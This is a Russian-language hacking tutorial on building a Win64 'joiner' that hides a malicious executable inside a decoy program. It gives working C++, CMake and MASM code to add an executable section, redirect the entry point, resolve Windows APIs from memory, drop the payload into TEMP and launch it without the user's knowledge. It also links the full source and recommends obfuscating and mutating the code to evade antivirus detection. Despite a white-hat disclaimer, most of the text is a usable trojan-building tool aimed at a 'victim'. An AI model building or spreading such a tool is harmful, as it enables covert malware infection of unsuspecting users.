Качественная склейка. Пишем джоинер исполняемых файлов для Win64
Life-Hack [Жизнь-Взлом]/ХакингПредставим, что нам нужно запустить некий зловредный код на машине жертвы. Доступа к этому компу у нас нет, и кажется, что самым простым вариантом будет вынудить жертву сделать все за нас. Конечно, никто в здравом уме не запустит сомнительное ПО на своем девайсе, поэтому жертву нужно заинтересовать — предложить что‑то полезное. Тут в дело вступает джоинер — тулза, которая встроит в полезную нагрузку наш код и скрытно его запустит.
WARNING
Статья предназначена для «белых хакеров», профессиональных пентестеров и руководителей службы информационной безопасности (CISO). Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный применением информации данной статьи.
Существуют ли готовые решения, предназначенные для склейки программ и вредоносной нагрузки? Безусловно, но здесь есть ряд проблем. Такие инструменты детектятся антивирусами, стоят денег и часто продаются как сервис, то есть требуют оплаты за разовую склейку. Бесплатные и простые способы встроить полезную нагрузку вида «поместим файлы в самораспаковывающийся архив» и вовсе банальный фуфломицин. Решение же, сделанное своими руками, может быть улучшено, исправлено в случае детекта и, конечно, останется бесплатным.
НЕМНОГО ТЕОРИИ
Джоинер может и должен склеивать два исполняемых файла. Первый — визуальная оболочка, красивая картинка и отвлекающий маневр. Это то, что увидит юзер на экране своего компьютера, когда запустит исполняемый файл. Второй — полезная нагрузка, которая запускается без явного желания пользователя. По умолчанию второй файл не будет как‑то скрыт: если в нем присутствуют окна или, например, громкое музыкальное сопровождение, то это все юзер заметит. Поэтому нужно обеспечить скрытную работу полезной нагрузки. Джоинер лишь склеивает, но не маскирует вредоносное приложение.
А может ли джоинер склеить исполняемый файл с картинкой? Может, но это не имеет смысла. Чисто теоретически, если бы он склеивал исполняемый файл и картинку, на выходе все равно получался бы исполняемый файл, который не имел бы расширения .jpg, .png или другого подобного. Редакторы и просмотрщики картинок такой файл открыть не смогут. Либо мы получим картинку, но в таком случае не сможем запустить исполняемый файл. Есть еще вариант, когда приложение стартует и открывает картинку через API ShellExecute. Действие занятное, но только в качестве фокуса — пользы от него никакой.
КАК УСТРОЕН НАШ ВАРИАНТ
Нашей целью будет Windows 10 x64, но, поняв принцип, легко можно переработать инструментарий под другие версии семейства Windows. Код должен работать и на Windows 7/8, но не тестировался там. Мы будем использовать смесь С++ и ассемблера.
Алгоритм работы
Оболочка — наш первый ехе, который будет виден клиенту. Это, так сказать, приманка. Нагрузка — второй ехе, в котором содержится зловредный контент. В оболочку добавляется дополнительная секция, куда записывается шелл‑код и нагрузка. Управление сразу передается на шелл‑код, задача которого — извлечь нагрузку, сохранить ее на диск и запустить. На верхнем уровне все сводится к тому, что мы получаем некий байтовый массив, который должны положить в дополнительную секцию. Потом останется лишь исправить точку входа у оболочки, и все — склейка завершена.
try {
const auto goodfile = std::wstring(argv[1]);
const auto badfile = std::wstring(argv[2]);
const auto content = CreateData(badfile,goodfile);
AddDataToFile(goodfile, content, L"fixed.exe");
}
catch (const std::exception& error)
{
std::cout << error.what() << std::endl;
}
Добавление секции
Это самая простая часть алгоритма, поэтому для разогрева начнем именно с нее. Открываем на чтение файл оболочки:
std::ifstream inputFile(inputPe, std::ios::binary);
if (inputFile.fail())
{
const auto message = Utils::WideToString(L"Unable to open " + inputPe);
throw std::logic_error(message);
}
Нам понадобится библиотека для работы с PE-файлами. Это очень сильно упростит нам добавление секции, редактирование ее атрибутов, исправление entry point и прочее. Я выбрал старую проверенную библиотеку PE Bliss.
Но библиотеку нужно немного подправить, если мы хотим использовать С++17 для компиляции проектов. Правки эти делаются тривиально и состоят в том, что нужно устаревший auto_ptr сменить на unique_ptr. Из‑за этих правок код библиотеки я предложил бы хранить непосредственно в своем репозитории, а не использовать submodule. Секция добавляется так:
auto peImage = pe_bliss::pe_factory::create_pe(inputFile);
pe_bliss::section newSection;
newSection.readable(true).writeable(true).executable(true); // Секция получает атрибуты read + write + execute
newSection.set_name("joiner"); // Имя секции
newSection.set_raw_data(std::string(data.cbegin(), data.cend())); // Контент секции
pe_bliss::section& added_section = peImage.add_section(newSection);
const auto alignUp = [](unsigned int value, unsigned int aligned) -> unsigned int
{
const auto num = value / aligned;
return (num * aligned < value) ? (num * aligned + aligned) : (num * aligned);
};
peImage.set_section_virtual_size(added_section,
alignUp(data.size(), peImage.get_section_alignment())); // Виртуальный размер секции выравнивается в бОльшую сторону
peImage.set_ep(added_section.get_virtual_address() + sizeof(HEAD));
Последняя строка заслуживает отдельных комментариев. Там меняется точка входа, но новая EP (entry point) выставляется не на самое начало новой секции, а на начало со смещением, которое равно размеру структуры HEAD. Эта структура выглядит так:
struct HEAD
{
unsigned long long sizeOfPayload;
unsigned long long OEP;
};
Возникает логичный вопрос: что это за поля и откуда берутся их значения? Поле sizeOfPayload — размер файла нагрузки, а OEP — значение точки входа оболочки до того, как мы добавили новую секцию и изменили на нее точку входа. Как будет выглядеть структура новой секции в целом, показано на картинке.

Ассемблер и шелл-код
Код, который мы добавим в оболочку, должен соответствовать определенным требованиям. И на языке ассемблера добиться этого соответствия не просто легче — это единственно возможный путь. Разберемся почему.
Когда мы инжектим свой код в посторонний .ехе, мы должны быть готовы к тому, что код запустится по случайному адресу без подготовки со стороны загрузчика. Не будет никаких известных адресов API-функций, релокации никто не исправит, поэтому нужно писать самодостаточный код. Такой код иногда называют шелл‑кодом, хотя он и не является шелл‑кодом в понимании эксплуатации уязвимостей. Это, скорее, код «в шелл‑код‑стиле».
Таким образом, этот код:
- должен уметь работать с любого адреса, неважно, по какому адресу он оказался в памяти;
- должен находить адреса нужных ему функций.
Дельта-смещение
Если файл был собран под адрес Х, а запустился с адреса Y, то все абсолютные адреса требуют корректировки. Разница между этими адресами как раз и называется дельта‑смещением. Вот код для вычисления такого дельта‑смещения:
call delta delta: pop rax mov rcx, offset delta sub rax, rcx
Вызов функции с учетом этого смещения выглядит так:
mov rax, offset GetNtdllByModuleList add rax, [rsp+100h+var_delta] call rax
Строки, смешанные с кодом
Хранить строки, переменные (данные) и код в разных секциях для шелл‑кода неприемлемо. Поэтому здесь код и данные смешиваются. С локальными переменными на стеке нет никаких проблем. Со строками используется следующий прием:
jmp short begin getprocaddr: db 'LdrGetProcedureAddress',0 getdllhandle: db 'LdrGetDllHandle',0 begin:
То есть инструкции идут вместе со строками. Конечно, строки нельзя выполнить, и мы делаем короткие (short) переходы через строки.
Поиск границ шелл-кода
Для этого мы воспользуемся public-переменными. В ассемблерном листинге, в самом начале нашего шелл‑кода, мы поместим переменную. Она послужит маркером начала. Точно так же мы поместим переменную в конце кода.
PUBLIC sizeOfPayload ; Маркер начала PUBLIC FinishMarker ; Маркер завершения шелл-кода .CODE sizeOfPayload QWORD 0 ; Поля структуры HEAD OEP QWORD 0 launcher proc ; Начало самого кода
MASM, cmake и Visual Studio
Нам нужно подружить эти инструменты. Macro assembler нужен для написания шелл‑кода, потому что встраивать ассемблерный код в программу на С++ с помощью __asm{} в архитектуре x64 нельзя. Создается отдельный файл с ассемблерным кодом, обычно для таких файлов используют расширение .asm, а в CMakeLists.txt добавляются такие директивы:
enable_language(ASM_MASM)
set(ASMSRC shellcode.asm)
target_sources(${PROJECT_NAME} PRIVATE ${ASMSRC})
if(CMAKE_CL_64 EQUAL 0)
set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/safeseh /DSC_WIN32")
else()
set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/DSC_WIN64")
endif()
Теперь мы получим возможность слинковать два объектных файла при условии, что в С++ используется ключевое слово extern. Например:
extern "C" unsigned long long sizeOfPayload;
Алгоритм запуска нагрузки
Шелл‑код работает так:
Ищет путь к директории TEMP.
2. Записывает туда файл с нагрузкой.
3. Запускает этот файл на выполнение.
4. Передает управление оригинальной точке входа оболочки.
В виде листинга это может выглядеть так:
void DropToDiskAndExecute(const uint8_t* data, unsigned int sizeData, const API_Adresses* addresses)
{
STARTUPINFOA startup{0};
PROCESS_INFORMATION procInfo{0};
const char surprise[] = "payload.exe";
const auto size = reinterpret_cast<gettemppatha*>(
addresses->GetTempPathA)(0, nullptr);
auto* location = reinterpret_cast<virtualalloc*>(addresses->VirtualAlloc)
(nullptr, size + sizeof(surprise),
MEM_COMMIT, PAGE_READWRITE);
if (!location)
{
return;
}
reinterpret_cast<gettemppatha*>(addresses->GetTempPathA)(size, reinterpret_cast<LPSTR>(location));
reinterpret_cast<winlstrcat*>(addresses->lstrcatA)(reinterpret_cast<LPSTR>(location), surprise);
auto handle = reinterpret_cast<createfilea*>(addresses->CreateFileA)
(reinterpret_cast<LPSTR>(location), GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
CREATE_ALWAYS, 0, 0);
reinterpret_cast<writefile*>(addresses->WriteFile)(handle, data,
sizeData, nullptr, nullptr);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(handle);
reinterpret_cast<createprocessa*>(addresses->CreateProcessA)(reinterpret_cast<LPSTR>(location),
nullptr,
nullptr, nullptr, FALSE,
0, nullptr, nullptr, &startup, &procInfo);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hProcess);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hThread);
reinterpret_cast<virtualfree*>(addresses->VirtualFree)(location, 0, MEM_RELEASE);
}
Данный код заслуживает более детального рассмотрения. Во‑первых, он на С++. Но как же так? Ведь шелл‑код должен быть на ассемблере? Да, шелл‑код на ассемблере. Просто вначале был этот код, а потом я его дизассемблировал и скопировал результат (с небольшими правками) в shellcode.asm. Во‑вторых, это — чистая функция, то есть результат ее работы зависит только от входных параметров. Это важно, поскольку такие функции генерируются компилятором практически сразу в нужном нам шелл‑код‑стиле. В‑третьих, тут нет какой‑то обработки ошибок, потому что в случае ошибки мы не должны никак ее обрабатывать и вообще обнаруживать свое присутствие. Также важно, что все необходимые API-функции подаются нам на вход:
struct API_Adresses
{
FARPROC GetTempPathA;
FARPROC VirtualAlloc;
FARPROC lstrcatA;
FARPROC CreateFileA;
FARPROC WriteFile;
FARPROC CloseHandle;
FARPROC CreateProcessA;
FARPROC VirtualFree;
};
Для работы алгоритма нам понадобится восемь функций. Но как найти их адреса?
Поиск API в памяти
Алгоритм достаточно прост:
- Ищем базу загрузки
ntdll.dll. - В таблице экспорта находим две функции:
LdrGetDllHandleиLdrGetProcedureAddress. - С их помощью находим адреса восьми функций из структуры
API_Adresses.
База загрузки ntdll.dll ищется благодаря тому, что peb_loader_data принадлежит пространству ntdll.dll:
GetNtdllByModuleList: mov rax, gs:[60h] mov ecx, 5A4Dh mov rax, [rax+18h] and rax, 0FFFFFFFFFFFFF000h try_again: cmp [rax], cx jz short finish sub rax, 1000h jnz short try_again finish: ret
Код парсинга таблицы экспорта был честно позаимствован на просторах интернета (правда, оригинальная версия содержит баг, который в моем коде исправлен):
;http://mcdermottcybersecurity.com/articles/windows-x64-shellcode ;look up address of function from DLL export table ;rcx=DLL imagebase, rdx=function name string ;DLL name must be in uppercase ;r15=address of LoadLibraryA (optional, needed if export is forwarded) ;returns address in rax ;returns 0 if DLL not loaded or exported function not found in DLL ;NtGetProcAddressAsm proc NtGetProcAddressAsm: push rcx push rdx push rbx push rbp push rsi push rdi start: found_dll: mov rbx, rcx ;get dll base addr — points to DOS "MZ" header mov r9d, [rbx+3ch] ;get DOS header e_lfanew field for offset to "PE" header add r9, rbx ;add to base — now r9 points to _image_nt_headers64 add r9, 88h ;18h to optional header + 70h to data directories ;r9 now points to _image_data_directory[0] array entry ;which is the export directory mov r13d, [r9] ;get virtual address of export directory test r13, r13 ;if zero, module does not have export table jnz has_exports xor rax, rax ;no exports — function will not be found in dll jmp done has_exports: lea r8, [rbx+r13] ;add dll base to get actual memory address ;r8 points to _image_export_directory structure (see winnt.h) mov r14d, [r9+4] ;get size of export directory add r14, r13 ;add base rva of export directory ;r13 and r14 now contain range of export directory ;will be used later to check if export is forwarded mov ecx, [r8+18h] ;NumberOfNames mov r10d, [r8+20h] ;AddressOfNames (array of RVAs) add r10, rbx ;add dll base dec ecx ;point to last element in array (searching backwards) for_each_func: lea r9, [r10 + 4*rcx] ;get current index in names array mov edi, [r9] ;get RVA of name add rdi, rbx ;add base mov rsi, rdx ;pointer to function we're looking for compare_func: cmpsb jne wrong_func ;function name doesn't match mov al, [rsi] ;current character of our function test al, al ;check for null terminator jz bug_fix ;bugfix here — doulbe check of zero byte ;if at the end of our string and all matched so far, found it jmp compare_func ;continue string comparison wrong_func: loop for_each_func ;try next function in array xor rax, rax ;function not found in export table jmp done bug_fix: mov al, [rdi] test al, al jz short found_func jmp short compare_func found_func: ;ecx is array index where function name found ;r8 points to _image_export_directory structure mov r9d, [r8+24h] ;AddressOfNameOrdinals (rva) add r9, rbx ;add dll base address mov cx, [r9+2*rcx] ;get ordinal value from array of words mov r9d, [r8+1ch] ;AddressOfFunctions (rva) add r9, rbx ;add dll base address mov eax, [r9+rcx*4] ;Get RVA of function using index cmp rax, r13 ;see if func rva falls within range of export dir jl not_forwarded cmp rax, r14 ;if r13 <= func < r14 then forwarded jae not_forwarded ;forwarded function address points to a string of the form <DLL name>.<function> ;note: dll name will be in uppercase ;extract the DLL name and add ".DLL" lea rsi, [rax+rbx] ;add base address to rva to get forwarded function name lea rdi, [rsp+30h] ;using register storage space on stack as a work area mov r12, rdi ;save pointer to beginning of string copy_dll_name: movsb cmp byte ptr [rsi], 2eh ;check for '.' (period) character jne copy_dll_name movsb ;also copy period mov dword ptr [rdi], 004c4c44h ;add "DLL" extension and null terminator mov rcx, r12 ;r12 points to "<DLL name>.DLL" string on stack call r15 ;call LoadLibraryA with target dll mov rcx, r12 ;target dll name mov rdx, rsi ;target function name jmp start ;start over with new parameters not_forwarded: add rax, rbx ;add base addr to rva to get function address done: pop rdi pop rsi pop rbp pop rbx pop rdx pop rcx ret
Когда у нас появились адреса двух краеугольных функций LdrGetDllHandle и LdrGetProcedureAddress, дальше можно найти адрес функции для любой уже загруженной библиотеки. Либа kernel32.dll тоже загружается лоадером сразу, так что мы без проблем найдем все интересующие нас адреса:
GetProcedureAddressAsm: var_28= word ptr -28h var_26= word ptr -26h var_20= qword ptr -20h var_18= word ptr -18h var_16= word ptr -16h var_10= qword ptr -10h arg_0= qword ptr 8 arg_8= qword ptr 10h arg_10= qword ptr 18h arg_18= qword ptr 20h mov [rsp+arg_10], rbx mov [rsp+arg_18], rsi push rdi sub rsp, 40h xor ebx, ebx mov rdi, rdx test rcx, rcx mov rdx, rcx mov ecx, ebx mov rsi, r9 mov r10, r8 jz short loc_14000689A cmp [rdx], cx jz short loc_140006898 nop dword ptr [rax+00000000h] loc_140006890: inc ecx cmp [rdx+rcx*2], bx jnz short loc_140006890 loc_140006898: add ecx, ecx loc_14000689A: mov [rsp+48h+var_28], cx lea r9, [rsp+48h+arg_0] add cx, 2 mov [rsp+48h+var_20], rdx mov [rsp+48h+var_26], cx lea r8, [rsp+48h+var_28] xor ecx, ecx xor edx, edx call r10 test rdi, rdi jz short loc_1400068D0 cmp byte ptr [rdi], 0 jz short loc_1400068D0 loc_1400068C8: inc ebx cmp byte ptr [rbx+rdi], 0 jnz short loc_1400068C8 loc_1400068D0: mov rcx, [rsp+48h+arg_0] lea r9, [rsp+48h+arg_8] mov [rsp+48h+var_18], bx lea rdx, [rsp+48h+var_18] inc bx mov [rsp+48h+var_10], rdi xor r8d, r8d mov [rsp+48h+var_16], bx call rsi mov rax, [rsp+48h+arg_8] mov rbx, [rsp+48h+arg_10] mov rsi, [rsp+48h+arg_18] add rsp, 40h pop rdi ret
Непонятен ассемблерный код? Изначально этот код тоже написан на С++:
FARPROC GetProcedureAddress(wchar_t* library, char* function,
LdrGetDllHandlePointer* LdrGetDllHandle,
LdrGetProcedureAddressPointer* LdrGetProcedureAddress)
{
const auto libNameLen = static_cast<USHORT>(GetWcharLen(library));
UNICODE_STRING libraryName{ libNameLen,
libNameLen + sizeof(wchar_t),
library };
HMODULE hModule;
LdrGetDllHandle(nullptr, nullptr, &libraryName, &hModule);
const auto functionNameLen = static_cast<USHORT>(GetCharLen(function));
ANSI_STRING functionName{ functionNameLen,
functionNameLen + sizeof(char),
function };
FARPROC result;
LdrGetProcedureAddress(hModule, &functionName, 0, &result);
return result;
}
Для заполнения структуры с адресами используется такой метод (далее приведен его псевдокод):
API_Adresses CreateAddressStruct(LdrGetDllHandlePointer* LdrGetDllHandle,
LdrGetProcedureAddressPointer* LdrGetProcedureAddress, GetProcedureAddressPointer* getter)
{
API_Adresses result{};
wchar_t* libname = L"kernel32.dll";
result.CloseHandle = getter(libname, "CloseHandle", LdrGetDllHandle,
LdrGetProcedureAddress);
result.CreateFileA = getter(libname, "CreateFileA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.CreateProcessA = getter(libname, "CreateProcessA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.GetTempPathA = getter(libname, "GetTempPathA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.lstrcatA = getter(libname, "lstrcatA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.VirtualAlloc = getter(libname, "VirtualAlloc", LdrGetDllHandle,
LdrGetProcedureAddress);
result.VirtualFree = getter(libname, "VirtualFree", LdrGetDllHandle,
LdrGetProcedureAddress);
result.WriteFile = getter(libname, "WriteFile", LdrGetDllHandle,
LdrGetProcedureAddress);
return result;
}
Вся высокоуровневая логика выглядит следующим образом:
sizeOfPayload QWORD 0
OEP QWORD 0
launcher proc
var_ntdllBase = qword ptr -10h
var_ldrProcedureAddr = qword ptr -20h
var_ldrLoadDll = qword ptr -30h
var_delta = qword ptr -40h
var_apis = qword ptr -90h
call delta
delta:
pop rax
mov rcx, offset delta
sub rax, rcx
sub rsp, 100h
mov [rsp+100h+var_delta], rax
jmp short begin
getprocaddr:
db 'LdrGetProcedureAddress',0
getdllhandle:
db 'LdrGetDllHandle',0
begin:
mov rax, offset GetNtdllByModuleList
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ntdllBase], rax
mov rcx, rax
lea rdx, getprocaddr
mov rax, offset NtGetProcAddressAsm
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ldrProcedureAddr], rax
mov rcx, [rsp+100h+var_ntdllBase]
lea rdx, getdllhandle
mov rax, offset NtGetProcAddressAsm
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ldrLoadDll], rax
mov rdx, rax
mov r8, [rsp+100h+var_ldrProcedureAddr]
mov r9, offset GetProcedureAddressAsm
add r9, [rsp+100h+var_delta]
lea rcx, [rsp+100h+var_apis]
mov rax, offset CreateAddressStructAsm
add rax, [rsp+100h+var_delta]
call rax
mov r8, rax
lea rdx, sizeOfPayload
mov rdx, qword ptr [rdx]
lea rcx, FinishMarker
mov rax, offset DropToDiskAndExecuteAsm
add rax, [rsp+100h+var_delta]
call rax
lea rax, OEP
mov rax, qword ptr [rax]
mov rcx, gs:[60h] ; GetModuleHanldeW(nullptr)
mov rcx, [rcx+10h]
add rax, rcx
add rsp, 100h
jmp rax
Код работает благодаря тому, что размер нагрузки расположен в переменной sizeOfPayload, а сам контент второго исполняемого файла — сразу за шелл‑кодом. Весь код проекта доступен по ссылке: https://bitbucket.org/KulykIevgen/joiner/src/master/.
ВЫВОДЫ
Конечно, через какое‑то время любое антивирусное ПО научится детектить этот код, но, поскольку он доступен в виде исходников, его можно модифицировать, обфусцировать, подвергать мутациям, получая каждый раз чистые файлы. А улучшения, несомненно, понадобятся.
Здесь понадобится поддержка и старой доброй архитектуры х86, и всей линейки Windows, да и над скрытностью поработать будет нелишним. Сейчас аналитик может увидеть нечто подозрительное, просто посмотрев, какой секции принадлежит точка входа, так как если она расположена в последней секции, то файл подвергался модификациям.
В сети часто можно увидеть жалобы, например на распространителей «таблеток от жадности» (кряков и кейгенов), за то, что в таком ПО много троянских программ. Но теперь ты знаешь, как эти трояны туда попадают.